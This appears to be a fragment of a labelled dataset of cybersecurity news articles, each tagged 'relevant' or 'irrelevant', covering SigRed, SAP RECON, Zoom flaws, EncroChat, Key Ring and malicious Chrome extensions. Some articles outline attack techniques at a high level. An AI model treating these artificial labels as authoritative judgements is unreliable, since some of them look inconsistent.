Response to Prediction and Prevention already delivered by Cato Cloud Big LIKE Cato Networks!",irrelevant
"CompTIA Certification Prep Courses – Get Lifetime Access @ 98% Discount In the world of professional IT, recruiters look for certificates as an important criterion for eligibility and assessing skills. Any IT professional with résumé that includes CompTIA certificates tends to rise up the pile. Of course, there are many different CompTIA exams you can choose from based on your interest and already chosen path. Our educational and industry partners have introduced ""Complete 2020 CompTIA Certification Training Bundle,"" aiming to help cybersecurity aspirants prepare for the big ones, with 14 courses covering A+, Security+, Network+, and more. The original fees for all these certification preparation courses are worth nearly $3,486 when subscribed directly through the instructor's platform. However, the great news is that The Hacker News has now partnered with these leading instructors to offer the same training bundle for only $89 to its readers with lifetime access. Special Offer — For a limited time, this bundle's one-time subscription cost has been reduced to $69, almost at 98% of a massive discount. Don't miss it! This subscription doesn't include CompTIA's exam cost; instead, it contains detailed learning and training materials designed to help you acquire the skills and knowledge you need to pass these exams. Whether you are searching for your first job or aiming to climb the career ladder, taking CompTIA exams is a smart move. comptia IT certifications The A+ certificate alone opens doors to some of IT's highest-paying jobs. With this bundle, you get more than 25 hours of prep for the CompTIA A+ exams. This course covers the fundamentals of IT, from operating systems to virtualization. You also get thorough prep for the Security+, Network+, Server+, and Cloud+ exams. These courses extend your knowledge, taking you into high-paying technical niches such as network engineering and cybersecurity. If you want to specialize even further, you can take courses for PenTest+, CySA+, CASP+, Linux+, Project+, Core BlockChain, etc. All the courses come with a certificate of completion and can be streamed over the web or mobile. So, what are you waiting for? Sign up and grab the exclusive discounted deal NOW!",irrelevant
"Police Arrested Hundreds of Criminals After Hacking Into Encrypted Chat Network In a joint operation, European and British law enforcement agencies recently arrested hundreds of alleged drug dealers and other criminals after infiltrating into a global network of an encrypted chatting app that was used to plot drug deals, money laundering, extortions, and even murders. Dubbed EncroChat, the top-secret encrypted communication app comes pre-installed on a customized Android-based handset with GPS, camera, and microphone functionality removed for anonymity and security. EncroChat phones aim to securely exchange data and messages with pre-loaded apps for secure instant messaging, VOIP calling, self destruct messages, and includes a 'kill code' functionality to let users remotely wipe complete data in times of trouble. The handset and its services, which cost around £1,500 for a six-month subscription, had 60,000 users worldwide and approximately 10,000 users in the United Kingdom. ""EncroChat phones were presented to customers as guaranteeing perfect anonymity (no device or SIM card association on the customer's account, acquisition under conditions guaranteeing the absence of traceability) and perfect discretion both of the encrypted interface (dual operating system, the encrypted interface being hidden so as not to be detectable) and the terminal itself (removal of the camera, microphone, GPS and USB port),"" Europol said. However, the encrypted communication network was not so secure, as French and Dutch police successfully hacked into the network and analyzed millions of messages and hundreds of thousands of images in real-time, ""over the shoulder of the unsuspecting senders."" International law enforcement authorities successfully dismantled Encrochat and disrupted one of the key communication networks used by some of the most severe offenders. The National Crime Agency, Europol and Metropolitan Police on Thursday announced that they shut down the EncroChat servers and arrested 746 suspects, including two law enforcement officers, which resulted in the seizure of: over £54 million in illegal cash, 77 firearms, including an AK47 assault rifle, submachine guns, handguns, four grenades, and over 1,800 rounds of ammunition More than two tonnes of Class A and B drugs Over 28 million Etizolam pills (street Valium) from an illicit laboratory 55 high-value cars, and 73 luxury watches The NCA also worked closely with policing partners to successfully mitigate more than 200 threats to life by preventing rival gangs from carrying out kidnappings and executions on Britain's streets. ""In early 2020, EncroChat was one of the largest encrypted digital communication providers with a very high share of users presumably engaged in criminal activity. User hotspots were particularly present in source and destination countries for cocaine and cannabis trade, as well as in money laundering centers,"" Europol said. Law enforcement agencies claimed to have cracked the encryption code of EncroChat in March this year and began penetrating data from April 1. On June 13, EncroChat realized the platform had been penetrated and sent a message to users urging them to throw away their devices as its servers had been compromised by law enforcement. hacker arrested ""A large number of suspects have also been arrested in several countries which were not participating in the JIT (joint investigation team) but particularly affected by the illegal use of these phones by individuals active in organized crime, including in the UK, Sweden, and Norway,"" Europol said. ""The effects of the operation will continue to echo in criminal circles for many years to come, as the information has been provided to hundreds of ongoing investigations and, at the same time, is triggering a very large number of new criminal investigations of organised crime across the European continent and beyond.""",irrelevant
"Iranian Hackers Accidentally Exposed Their Training Videos (40 GB) Online An OPSEC error by an Iranian threat actor has laid bare the inner workings of the hacking group by providing a rare insight into the ""behind-the-scenes look into their methods."" IBM's X-Force Incident Response Intelligence Services (IRIS) got hold of nearly five hours worth of video recordings of the state-sponsored group it calls ITG18 (also called Charming Kitten, Phosphorous, or APT35) that it uses to train its operators. Some of the victims in the videos included personal accounts of U.S. and Greek Navy personnel, in addition to unsuccessful phishing attempts directed against U.S. state department officials and an unnamed Iranian-American philanthropist. ""Some of the videos showed the operator managing adversary-created accounts while others showed the operator testing access and exfiltrating data from previously compromised accounts,"" the researchers said. The IBM researchers said they found the videos on a virtual private cloud server that was left exposed due to a misconfiguration of security settings. The server, which was also found to host several ITG18 domains earlier this year, held more than 40 gigabytes of data. The discovered video files show that ITG18 had access to the targets' email and social media credentials obtained via spear-phishing, using the information to log in to the accounts, delete notifications of suspicious logins so as not to alert the victims, and exfiltrate contacts, photos, and documents from Google Drive. ""The operator was also able to sign into victims' Google Takeout (takeout.google.com), which allows a user to export content from their Google Account, to include location history, information from Chrome, and associated Android devices,"" the researchers noted. Besides this, the videos — captured using Bandicam's screen-recording tool — also show that the actors behind the operation plugged the victims' credentials to Zimbra's email collaboration software intending to monitor and manage the compromised email accounts. Outside of email accounts, the researchers said they found the attackers employing a long list of compromised usernames and passwords against at least 75 different websites ranging from banks to video and music streaming to something as trivial as pizza delivery and baby products. Other clips showed the ITG18 group leveraging dummy Yahoo! accounts, which include a phone number with Iran's country code (+98), using them to send the phishing emails, some of which bounced back, suggesting the emails did not reach the victim's inbox. ""During the videos where the operator was validating victim credentials, if the operator successfully authenticated against a site that was set up with multi-factor authentication (MFA) they paused and moved on to another set of credentials without gaining access,"" the researchers said. ITG18 has a long history of targeting the U.S. and the Middle Eastern military, diplomatic, and government personnel for intelligence gathering and espionage to serve Iran's geopolitical interests. If anything, the discovery emphasizes the need to secure your accounts by using stronger passwords, turning on two-factor authentication, and reviewing and limiting access to third-party apps. ""The compromise of personal files of members of the Greek and U.S. Navy could be in support of espionage operations related to numerous proceedings occurring in the Gulf of Oman and Arabian Gulf,"" IBM X-Force researchers concluded. ""The group has shown persistence in its operations and consistent creation of new infrastructure despite multiple public disclosures and broad reporting on its activity.""",irrelevant
"Microsoft Launches Free Linux Forensics and Rootkit Malware Detection Service Microsoft has announced a new free-to-use initiative aimed at uncovering forensic evidence of sabotage on Linux systems, including rootkits and intrusive malware that may otherwise go undetected. The cloud offering, dubbed Project Freta, is a snapshot-based memory forensic mechanism that aims to provide automated full-system volatile memory inspection of virtual machine (VM) snapshots, with capabilities to spot malicious software, kernel rootkits, and other stealthy malware techniques such as process hiding. The project is named after Warsaw's Freta Street, the birthplace of Marie Curie, the famous French-Polish physicist who brought X-ray medical imaging to the battlefield during World War I. ""Modern malware is complex, sophisticated, and designed with non-discoverability as a core tenet,"" said Mike Walker, Microsoft's senior director of New Security Ventures. ""Project Freta intends to automate and democratize VM forensics to a point where every user and every enterprise can sweep volatile memory for unknown malware with the push of a button — no setup required."" The objective is to infer the presence of malware from memory, at the same time gain the upper hand in the fight against threat actors who deploy and reuse stealthy malware on target systems for ulterior motives, and more importantly, render evasion infeasible and increase the development cost of undiscoverable cloud malware. rootkit To that effect, the ""trusted sensing system"" works by tackling four different aspects that would make systems immune to such attacks in the first place by preventing any program from: Detecting the presence of a security sensor prior to installing itself Residing in an area that's out of view of the sensor Detecting the sensor's operation and accordingly erasing or modifying itself to escape detection, and Tampering with the sensor's functions to cause sabotage ""When attackers and defenders share a microarchitecture, every detection move a defender makes disturbs the environment in a way that is eventually discoverable by an attacker invested in secrecy,"" Walker noted. ""The only way to discover such attackers is to remove their insight into defense."" Open to anyone with a Microsoft Account (MSA) or Azure Active Directory (AAD) account, Project Freta lets users submit memory images (.vmrs, .lime, .core, or .raw files) via an online portal or an API, post which a detailed report is generated that delves into different sections (kernel modules, in-memory files, potential rootkits, processes, and more) that can be exported via JSON format. Microsoft said it focused on Linux due to the need for fingerprinting operating systems in the cloud in a platform-agnostic manner from a scrambled memory image. It also cited the increased complexity of the project, given the large number of publicly available kernels for Linux. This initial release version of Project Freta supports over 4,000 Linux kernels, with Windows support in the pipeline. It's also in the process of adding a sensor capability that allows users to migrate the volatile memory of live VMs to an offline environment for further analysis and more AI-based decision-making tools for threat detection. ""The goal of this democratization effort is to increase the development cost of undiscoverable cloud malware toward its theoretical maximum,"" Walker said. ""Producers of stealthy malware would then be locked into an expensive cycle of complete re-invention, rendering such a cloud an unsuitable place for cyberattacks."" The online analysis portal can be accessed here. The full documentation for Project Freta is available here.",irrelevant
"New Highly-Critical SAP Bug Could Let Attackers Take Over Corporate Servers SAP has patched a critical vulnerability impacting the LM Configuration Wizard component in NetWeaver Application Server (AS) Java platform, allowing an unauthenticated attacker to take control of SAP applications. The bug, dubbed RECON and tracked as CVE-2020-6287, is rated with a maximum CVSS score of 10 out of 10, potentially affecting over 40,000 SAP customers, according to cybersecurity firm Onapsis, which uncovered the flaw. ""If successfully exploited, a remote, unauthenticated attacker can obtain unrestricted access to SAP systems through the creation of high-privileged users and the execution of arbitrary operating system commands with the privileges of the SAP service user account, which has unrestricted access to the SAP database and is able to perform application maintenance activities, such as shutting down federated SAP applications,"" the US Cybersecurity and Infrastructure Security Agency (CISA) said in an advisory. ""The confidentiality, integrity, and availability of the data and processes hosted by the SAP application are at risk by this vulnerability,"" it added. The vulnerability is present by default in SAP applications running on top of SAP NetWeaver AS Java 7.3 and newer (up to SAP NetWeaver 7.5), putting several SAP business solutions at risk, including but not limited to SAP Enterprise Resource Planning, SAP Product Lifecycle Management, SAP Customer Relationship Management, SAP Supply Chain Management, SAP Business Intelligence, and SAP Enterprise Portal. According to Onapsis, RECON is caused due to a lack of authentication in the web component of the SAP NetWeaver AS for Java, thus granting an attacker to perform high-privileged activities on the susceptible SAP system. ""A remote, unauthenticated attacker can exploit this vulnerability through an HTTP interface, which is typically exposed to end users and, in many cases, exposed to the internet,"" CISA said. By exploiting the flaw to create a new SAP user with maximum privileges, the intruder can compromise SAP installations to execute arbitrary commands, such as modifying or extracting highly sensitive information as well as disrupting critical business processes. Although there's no evidence of any active exploitation of the vulnerability, CISA cautioned that the patches' availability could make it easier for adversaries to reverse-engineer the flaw to create exploits and target unpatched systems. Given the severity of RECON, it's recommended that organizations apply critical patches as soon as possible and scan SAP systems for all known vulnerabilities and analyze systems for malicious or excessive user authorizations.",relevant
"Several High-Profile Accounts Hacked in the Biggest Twitter Hack of All Time Social media platform Twitter, earlier today on Wednesday, was on fire after it suffered one of the biggest cyberattacks in its history. A number of high-profile Twitter accounts, including those of US presidential candidate Joe Biden, Amazon CEO Jeff Bezos, Bill Gates, Elon Musk, Uber, and Apple, were breached simultaneously in what's a far-reaching hacking campaign carried out to promote a cryptocurrency scam. The broadly targeted hack posted similar worded messages urging millions of followers to send money to a specific bitcoin wallet address in return for larger payback. ""Everyone is asking me to give back, and now is the time,"" a tweet from Mr Gates' account said. ""You send $1,000, I send you back $2,000."" Twitter termed the security incident as a ""coordinated social engineering attack"" against its employees who access its internal tools. As of writing, the scammers behind the operation have amassed nearly $120,000 in bitcoins, suggesting that unsuspecting users have indeed fallen for the fraudulent scheme. ""We detected what we believe to be a coordinated social engineering attack by people who successfully targeted some of our employees with access to internal systems and tools,"" the company said in a series of tweets. ""Internally, we've taken significant steps to limit access to internal systems and tools while our investigation is ongoing."" It's not immediately clear who was behind the attack, or the attackers could have had access to direct messages sent to or from the affected accounts. The attack appears to have been initially directed against cryptocurrency-focused accounts, such as Bitcoin, Ripple, CoinDesk, Gemini, Coinbase and Binance, all of which were hacked with the same message: ""We have partnered with CryptoForHealth and are giving back 5000 BTC to the community,"" followed by a link to a phishing website that has since been taken down. Following the tweets, the accounts for Apple, Uber, Mike Bloomberg, and Tesla and SpaceX CEO Elon Musk all posted tweets soliciting bitcoins using the exact same Bitcoin address as the one included on the CryptoForHealth website. Although the tweets from the compromised accounts have been deleted, Twitter took the extraordinary step of temporarily stopping many verified accounts marked with blue ticks from tweeting altogether. Account hijacks on Twitter have happened before, but this is the first time it's happened at such an unprecedented scale on the social network, leading to speculations that hackers grabbed control of a Twitter employee's administrative access to ""take over a prominent account and tweet on their behalf"" without knowing their passwords or two-factor authentication codes. Security researchers also found that the attackers had not only taken over the victims' accounts, but also changed the email address associated with the account to make it harder for the real user to regain access. Last year, Twitter chief executive Jack Dorsey's account was hacked in a SIM swapping attack, allowing an unauthorized third-party to post tweets via text messages from the phone number. Following the incident, Twitter discontinued the feature to send tweets via SMS earlier this year in most countries. Given the widespread scope of the campaign, the damage could have been far more catastrophic. But the motive of the adversaries seems to all but indicate this was a quick money-making scam. ""The accounts appear to have been compromised in order to perpetuate cryptocurrency fraud,"" the FBI's San Francisco field office said in a statement. ""We advise the public not to fall victim to this scam by sending cryptocurrency or money in relation to this incident.""",irrelevant
"17-Year-Old Critical 'Wormable' RCE Vulnerability Impacts Windows DNS Servers Cybersecurity researchers today disclosed a new highly critical ""wormable"" vulnerability—carrying a severity score of 10 out of 10 on the CVSS scale—affecting Windows Server versions 2003 to 2019. The 17-year-old remote code execution flaw (CVE-2020-1350), dubbed 'SigRed' by Check Point, could allow an unauthenticated, remote attacker to gain domain administrator privileges over targeted servers and seize complete control of an organization's IT infrastructure. A threat actor can exploit SigRed vulnerability by sending crafted malicious DNS queries to a Windows DNS server and achieve arbitrary code execution, enabling the hacker to intercept and manipulate users' emails and network traffic, make services unavailable, harvest users' credentials and much more. In a detailed report shared with The Hacker News, the Check Point researcher Sagi Tzadik confirmed that the flaw is wormable in nature, allowing attackers to launch an attack that can spread from one vulnerable computer to another without any human interaction. ""A single exploit can start a chain reaction that allows attacks to spread from vulnerable machine to vulnerable machine without requiring any human interaction,"" the researcher said. ""This means that a single compromised machine could be a 'super spreader,' enabling the attack to spread throughout an organization's network within minutes of the first exploit."" After the cybersecurity firm responsibly disclosed its findings to Microsoft, the Windows maker prepared a patch for the vulnerability and rolling it out starting today as part of its July Patch Tuesday, which also includes security updates for 122 other vulnerabilities, with a total 18 flaws listed as critical, and 105 as important in severity. Microsoft said it found no evidence to show that the bug has been actively exploited by attackers, and advised users to install patches immediately. ""Windows DNS Server is a core networking component. While this vulnerability is not currently known to be used in active attacks, it is essential that customers apply Windows updates to address this vulnerability as soon as possible,"" Microsoft said. Crafting Malicious DNS Responses Stating that the objective was to identify a vulnerability that would let an unauthenticated attacker compromise a Windows Domain environment, Check Point researchers said they focused on Windows DNS, specifically taking a closer look at how a DNS server parses an incoming query or a response for a forwarded query. A forwarded query happens when a DNS server cannot resolve the IP address for a given domain name (e.g., www.google.com), resulting in the query being forwarded to an authoritative DNS name server (NS). To exploit this architecture, SigRed involves configuring a domain's (""deadbeef.fun"") NS resource records to point to a malicious name server (""ns1.41414141.club""), and querying the target DNS server for the domain in order to have the latter parse responses from the name server for all subsequent queries related to the domain or its subdomains. With this setup in place, an attacker can trigger an integer overflow flaw in the function that parses incoming responses for forwarded queries (""dns.exe!SigWireRead"") to send a DNS response that contains a SIG resource record larger than 64KB and induce a ""controlled heap-based buffer overflow of roughly 64KB over a small allocated buffer."" Put differently; the flaw targets the function responsible for allocating memory for the resource record (""RR_AllocateEx"") to generate a result bigger than 65,535 bytes to cause an integer overflow that leads to a much smaller allocation than expected. But with a single DNS message limited to 512 bytes in UDP (or 4,096 bytes if the server supports extension mechanisms) and 65,535 bytes in TCP, the researchers found that a SIG response with a lengthy signature alone wasn't enough to trigger the vulnerability. To achieve this, the attack cleverly takes advantage of DNS name compression in DNS responses to create a buffer overflow using the aforementioned technique to increase the allocation's size by a significant amount. Remote Exploitation of the Flaw That's not all. SigRed can be triggered remotely via a browser in limited scenarios (e.g., Internet Explorer and non-Chromium based Microsoft Edge browsers), allowing an attacker to abuse Windows DNS servers' support for connection reuse and query pipelining features to ""smuggle"" a DNS query inside an HTTP request payload to a target DNS server upon visiting a website under their control. What's more, the bug can be further exploited to leak memory addresses by corrupting the metadata of a DNS resource record and even achieve write-what-where capabilities, allowing an adversary to hijack the execution flow and cause it to execute unintended instructions. Surprisingly, DNS clients (""dnsapi.dll"") are not susceptible to the same bug, leading the researchers to suspect that ""Microsoft manages two completely different code bases for the DNS server and the DNS client, and does not synchronize bug patches between them."" Given the severity of the vulnerability and the high chances of active exploitation, it's recommended that users patch their affected Windows DNS Servers to mitigate the risk. As a temporary workaround, the maximum length of a DNS message (over TCP) can be set to ""0xFF00"" to eliminate the chances of a buffer overflow: reg add ""HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters"" /v ""TcpReceivePacketSize"" /t REG_DWORD /d 0xFF00 /f net stop DNS && net start DNS ""A DNS server breach is a very serious thing. Most of the time, it puts the attacker just one inch away from breaching the entire organization. There are only a handful of these vulnerability types ever released,"" Check Point's Omri Herscovici told The Hacker News. ""Every organization, big or small using Microsoft infrastructure is at major security risk, if left unpatched. The risk would be a complete breach of the entire corporate network.""",relevant
"Zoom Bug Allowed Snoopers Crack Private Meeting Passwords in Minutes Popular video conferencing app Zoom recently fixed a new security flaw that could have allowed potential attackers to crack the numeric passcode used to secure private meetings on the platform and snoop on participants. Zoom meetings are by default protected by a six-digit numeric password, but according to Tom Anthony, VP Product at SearchPilot who identified the issue, the lack of rate limiting enabled ""an attacker to attempt all 1 million passwords in a matter of minutes and gain access to other people's private (password protected) Zoom meetings."" It's worth noting that Zoom began requiring a passcode for all meetings back in April as a preventive measure to combat Zoom-bombing attacks, which refers to the act of disrupting and hijacking Zoom meetings uninvited to share obscene and racist content. Anthony reported the security issue to the company on April 1, 2020, along with a Python-based proof-of-concept script, a week after Zoom patched the flaw on April 9. The fact that meetings were, by default, secured by a six-digit code meant there could be only a maximum of one million passwords. But in the absence of no checks for repeated incorrect password attempts, an attacker can leverage Zoom's web client (https://zoom.us/j/MEETING_ID) to continuously send HTTP requests to try all the one million combinations. ""With improved threading, and distributing across 4-5 cloud servers you could check the entire password space within a few minutes,"" Anthony said. The attack worked with recurring meetings, implying that bad actors could have had access to the ongoing meetings once the passcode was cracked. The researcher also found that the same procedure could be repeated even with scheduled meetings, which have the option to override the default passcode with a longer alphanumeric variant, and run it against a list of top 10 million passwords to brute-force a login. Separately, an issue was uncovered during the sign-in process using the web client, which employed a temporary redirect to seek customers' consent to its terms of service and privacy policy. ""There was a CSRF HTTP header sent during this step, but if you omitted it then the request still seemed to just work fine anyway,"" Anthony said. ""The failure on the CSRF token made it even easier to abuse than it would be otherwise, but fixing that wouldn't provide much protection against this attack."" Following the findings, Zoom took the web client offline to mitigate the issues on April 2 before issuing a fix a week later. The video conferencing platform, which drew scrutiny for a number of security issues as its usage soared during the coronavirus pandemic, has quickly patched the flaws as they were uncovered, even going to the extent of announcing a 90-day freeze on releasing new features to ""better identify, address, and fix issues proactively."" Just earlier this month, the company addressed a zero-day vulnerability in its Windows app that could allow an attacker to execute arbitrary code on a victim's computer running Windows 7 or older. It also fixed a separate flaw that could have allowed attackers to mimic an organization and trick its employees or business partners into revealing personal or other confidential information via social engineering attacks.",relevant
"A New Flaw In Zoom Could Have Let Fraudsters Mimic Organisations In a report shared with The Hacker News, researchers at cybersecurity firm CheckPoint today disclosed details of a minor but easy-to-exploit flaw they reported in Zoom, the highly popular and widely used video conferencing software. The latest Zoom flaw could have allowed attackers mimic an organization, tricking its employees or business partners into revealing personal or other confidential information using social engineering tricks. We know, social engineering attacks may sound a bit boring, but someone used the same to put Twitter on fire just last night when hundreds of high-profile Twitter accounts were hacked to promote a cryptocurrency scam, all thanks to an employee's compromised internal tooling account. The said vulnerability resides in Zoom's customizable URL feature dubbed Vanity URL, aiming to let companies create a custom URL on its subdomain and branded landing page, such as ""yourcompany.zoom.us,"" where the invitation link to a meeting then looks like https://organization_name.zoom.us/j/##########, instead of regular https://zoom.us/j/########## format. CheckPoint team found that due to improper account validation, any meeting ID could have been launched using any organization's Vanity URL, even if a meeting was set up by a separate individual account. ""The security issue is focused on the sub-domain functionalities,"" the researchers said. ""There are several ways to enter a meeting containing a sub-domain, including using a direct sub-domain link containing the meeting ID, or using the organization's customized sub-domain web UI."" Attackers can exploit this loophole in two ways: Attack via direct links: A hacker can change the invitation URL, such as https://zoom.us/j/##########, to include a registered sub-domain of their choice, like https://< organization's name>.zoom.us/j/##########, when setting up a meeting. A user receiving this invitation link may fall under the attacker's trap, thinking that the invitation was genuine and issued from a real organization. Attacking dedicated Zoom web interfaces: Since some organizations have their Zoom web interface for conference calls, a hacker could also target such an interface and attempt to redirect a user to enter a meeting ID into the malicious Vanity URL rather than the actual Zoom web interface and join the relevant Zoom session. The impact of this issue can lead to a successful phishing attempt, allowing the attackers to pose as a legit employee of the company, which potentially enables them to steal credentials and sensitive information and carry out other fraud actions. Check Point researchers responsibly disclosed the issue to Zoom Video Communications Inc. and worked together to address it and put additional safeguards in place for the protection of users. ""Because Zoom has become one of the world's leading communication channels for businesses, governments and consumers, it's critical that threat actors are prevented from exploiting Zoom for criminal purposes,"" Adi Ikan, Group Manager at Check Point Research, told The Hacker News. ""Working together with Zoom's security team, we have helped Zoom provide users globally with a safer, simpler and trusted communication experience so they can take full advantage of the service's benefits."" Earlier this year, Check Point Research also worked with Zoom to patch a severe privacy bug that could have allowed uninvited people to join private meetings and remotely eavesdrop on private audio, video, and documents shared throughout the session. Due to the ongoing coronavirus outbreak, the usage of Zoom video conferencing software has skyrocketed—from 10 million daily meeting participants back in December 2019 to more than 300 million in April 2020, making it a favorite target of cybercriminals. Just last week, Zoom patched a zero-day vulnerability in all supported versions of the Zoom client for Windows that could have allowed an attacker to execute arbitrary code on a victim's computer running Microsoft Windows 7 or older. Last month, Zoom addressed two critical security vulnerabilities in its video conferencing software for Windows, macOS, or Linux computers that could have allowed attackers to hack into the systems of group chat participants or an individual recipient remotely. In April, a series of issues were uncovered and reported in Zoom, which raised privacy and security concerns surrounding the video conferencing software among millions of its users.",relevant
"44M Digital Wallet Items Exposed in Key Ring Cloud Misconfig Millions of IDs, charge cards, loyalty cards, gift cards, medical marijuana ID cards and personal information was left exposed to the open internet. Key Ring, creator of a digital wallet app used by 14 million people across North America, has exposed 44 million IDs, charge cards, loyalty cards, gift cards and membership cards to the open internet, researchers say. The Key Ring app allows users to upload scans and photos of various physical cards into a digital folder on a user’s phone. While Key Ring is primarily designed for storing membership cards for loyalty programs, users also store more sensitive cards on the app. According to the research team at vpnMentor, it found 44 million scans exposed in a misconfigured cloud database that included: Government IDs, retail club membership and loyalty cards, NRA membership cards, gift cards, credit cards with all details exposed (including CVV numbers), medical insurance cards and medical marijuana ID cards, among others. vpnMentor said that it found a total of five misconfigured Amazon Web Services (AWS) S3 cloud databases owned by the company. These could have revealed millions of these uploads to anyone with a web browser, thanks to a lack of password-protection on the buckets, the company said. Also, every file could also be downloaded and stored offline. Threatpost reached out to Key Ring’s media team multiple times over the last few days for a comment or reaction to the findings, with no response — and will update this post with any additional information should the company eventually respond. Five Databases of Information According to the research, launched Thursday and shared with Threatpost ahead of publication, vpnMentor came across indicators of an initial exposed bucket in January, which contained the scanned card information. However, that wasn’t the extent of the exposed data. One of the scans in the database. Click to enlarge. The researchers also said that they found older, brand-specific loyalty-card lists sorted by retail company, including CSV databases detailing various reports on customers of Walmart, Footlocker and other big brands. vpnMentor said that the lists contained personally identifiable information (PII) data for millions, including full names, emails, membership ID numbers, dates of birth, physical addresses and ZIP codes. The firm also said that the data set stretched back in some cases to 2014. Examples of the number of people exposed in these lists include 16 million for Walmart, 64,000 for the Kids Eat Free Campaign, 6,600 for La Madeleine and 2,000 for Mattel, among others, it said. Also, as the firm was looking into the situation, it said that it found four additional unsecured S3 buckets belonging to Key Ring, which the company said contained even more sensitive data. vpnMentor said that these additional four storage units each contained a different snapshot of Key Ring’s internal database of users, containing emails, home addresses, device and IP address info, encrypted passwords and the “salt” randomized data used to encrypt them and more. Disclosure and Exposure Once the details of the leak were confirmed, the vpnMentor team said that it contacted Key Ring and AWS to disclose the discovery on February 18 – and the buckets were secured two days later. However, Key Ring itself never responded to the firm’s findings. “We reached out to them but didn’t get any reply,” Noam Rotem, lead of vpnMentor’s research team, told Threatpost. “At the same time, we reached out to Amazon, who (we believe) reached out to them too in order to secure the data. As we haven’t been in touch with them, we don’t know if they’re going to notify their users.” The research team is unsure of how long the data was exposed prior to the discovery. “In fact, we can’t say for certain that nobody else found these S3 buckets and downloaded the content before we notified Key Ring,” according to the analysis shared with Threatpost. “If this happened, simply deleting the exposed data and securing the S3 buckets might not be enough. Hackers would still have access to all the data, stored locally, offline and completely untraceable.” vpnMentor said that the team did not reach out to the third parties (Walmart, et al) about the data exposure: “It doesn’t seem related to data sharing, as data sharing is supposed to be related to the PII provided by their customers, and not the cards [that individuals] scan and save in their wallet,” Rotem said. Potential Fallout Key Ring’s databases, if they’ve been stolen, could facilitate massive fraud and identity theft schemes targeting millions of people in America and Canada, according to the analysis. Any cybercriminal that accessed the databases could sell the information on the criminal underground, or use it themselves, vpnMentor pointed out. Potential attacks include identity theft; the ability to file fraudulent tax returns and claim refunds in victims’ names; credit-card fraud and online shopping fraud; account takeovers; stealing and using accrued loyalty points; and even “loan stacking” where criminals take out multiple loans in a person’s name, from automated lenders, with numerous payouts made before the victim becomes aware. Plus, the wealth of information opens victims up to phishing and convincing email scams. “What’s most notable about this incident is that people would trust companies to secure their data, and hence share with them everything, including their credit cards (both sides), without fearing that this could be exploited,” Rotem told Threatpost. “Needless to list the risks related to a clear credit-card picture leaking.” vpnMentor pointed out that the company itself could also be in danger if the database has been downloaded by criminal hackers. “Aside from losing users and partners, Key Ring would have been vulnerable to legal action, fines and intense scrutiny from government data privacy groups,” the research noted. “Key Ring is already no longer operating in the EU due to the inability to comply with GDPR. With California enacting its data privacy law in January 2020 – the CCPA – Key Ring could still have faced investigation and fines from the state’s legislative bodies. Given the scale and seriousness of this leak, the impact on the company’s finances, reputation and market share would be unmeasurable.” The company’s privacy policy was last updated in March 2015 and states: “We may encrypt certain sensitive information using Secure Socket Layer (SSL) technology to ensure that your Personally Identifiable Information is safe as it is transmitted to us.” It adds: “However, no data transmission can be guaranteed to be 100 percent secure. As a result, while we employ commercially reasonable security measures to protect data and seek to partner with companies that do the same, we cannot guarantee the security of any information transmitted to or from the Website or via the Key Ring Service, and are not responsible for the actions of any third parties that may receive any such information.” Cloud misconfigurations are all too common, with businesses both large and small inadvertently exposing users’ personal data. In fact, a recent Unit 42 report found that more than half (60 percent) of breaches occur in the public cloud due to misconfiguration. Rotem told Threatpost that “we’re not here to judge how these companies are managing their customers’ data.” However, he added that “too many companies are failing at protecting their data…the way they react to such leaks, fix and respond is what would distinguish a company that cares about its security and customers, from a company that doesn’t.” Threatpost also reached out to Key Ring for more details on its disclosure policies and how it has handled this incident.",irrelevant
"500 Malicious Chrome Extensions Impact Millions of Users The malicious Chrome extensions were secretly collecting users’ browser data and redirecting them to malware-laced websites. Researchers say that 500 Google Chrome browser extensions were discovered secretly uploading private browsing data to attacker-controlled servers, and redirecting victims to malware-laced websites. The browser extensions, all of which have now been removed, were downloaded millions of times from Google’s Chrome Web Store. Browser extensions are used for customizing web browsers, modifying user interfaces, blocking ads and managing cookies. But researchers said that the malicious extensions they discovered are instead part of a massive malvertising campaign that also harvested browser data. Malvertising often is used as a vehicle for fraudulent activity, including data exfiltration, phishing or ad fraud. In this particular instance, bad actors were redirecting victims from legitimate online ad streams to malware-laced pages. “These extensions were commonly presented as offering advertising as a service,” according to Jamila Kaya, an independent security researcher, and Jacob Rickerd, with Duo Security, in a Thursday analysis. “[Security researcher Jamila Kaya] discovered they were part of a network of copycat plugins sharing nearly identical functionality. Through collaboration, we were able to take the few dozen extensions and… identify 70 matching their patterns across 1.7 million users and escalate concerns to Google.” Researchers believe that the actor behind this campaign was active since January 2019, with activity escalating between March and June. After researchers first identified 71 malicious extensions and reported their findings to Google, the tech giant then identified 430 additional extensions that were also linked to the malvertising campaign, they said. The extensions had almost no ratings on Google’s Chrome Web Store, and the source code of the extensions are all nearly identical. chrome extensions Once downloaded, the extensions would connect the browser clients to a command-and-control (C2) server and then exfiltrate private browsing data without the users’ knowledge, researchers said. The extension would also redirect browsers to various domains with advertising streams. While a large portion of these ad streams were actually benign (leading to ads for Macy’s, Dell or Best Buy), these legitimate ad streams were coupled with malicious ad streams that redirected users to malware and phishing landing pages. The campaign highlights various security issues that browser extensions can introduce, researchers said. In 2017, a malicious Google Chrome extension being spread in phishing emails stole any data posted online by victims. In 2018, four malicious extensions were discovered in the official Google Chrome Web Store with a combined user count of more than 500,000. And, in January, the Google Chrome and Mozilla Firefox teams cracked down on web browser extensions that stole user data and executed remote code, among other bad actions. chrome extension “Browser extensions are the Wild Wild West of the internet,” said Ameet Naik, security evangelist at PerimeterX, in an email. “There are approximately 200,000 extensions available on the Chrome store alone. What most users don’t realize is that extensions have full access to all of the data on a page including your email, banking information and credit card numbers. While many extensions provide value added services, there’s little to stop them from collecting and abusing user data.” Google for its part has stepped up to the plate in its efforts to bar malicious extensions. The tech giant has implemented new user data privacy policy guidelines, requiring all extensions that handle user data to have a privacy policy, gain consent from the user, and only use the minimum required amount of permissions. Google has also implemented a program which will pay out bounties to researchers who find extensions that are violating this policy. “We appreciate the work of the research community, and when we are alerted of extensions in the Web Store that violate our policies, we take action and use those incidents as training material to improve our automated and manual analyses,” said a Google spokesperson in a statement. “We do regular sweeps to find extensions using similar techniques, code, and behaviors, and take down those extensions if they violate our policies.”",relevant
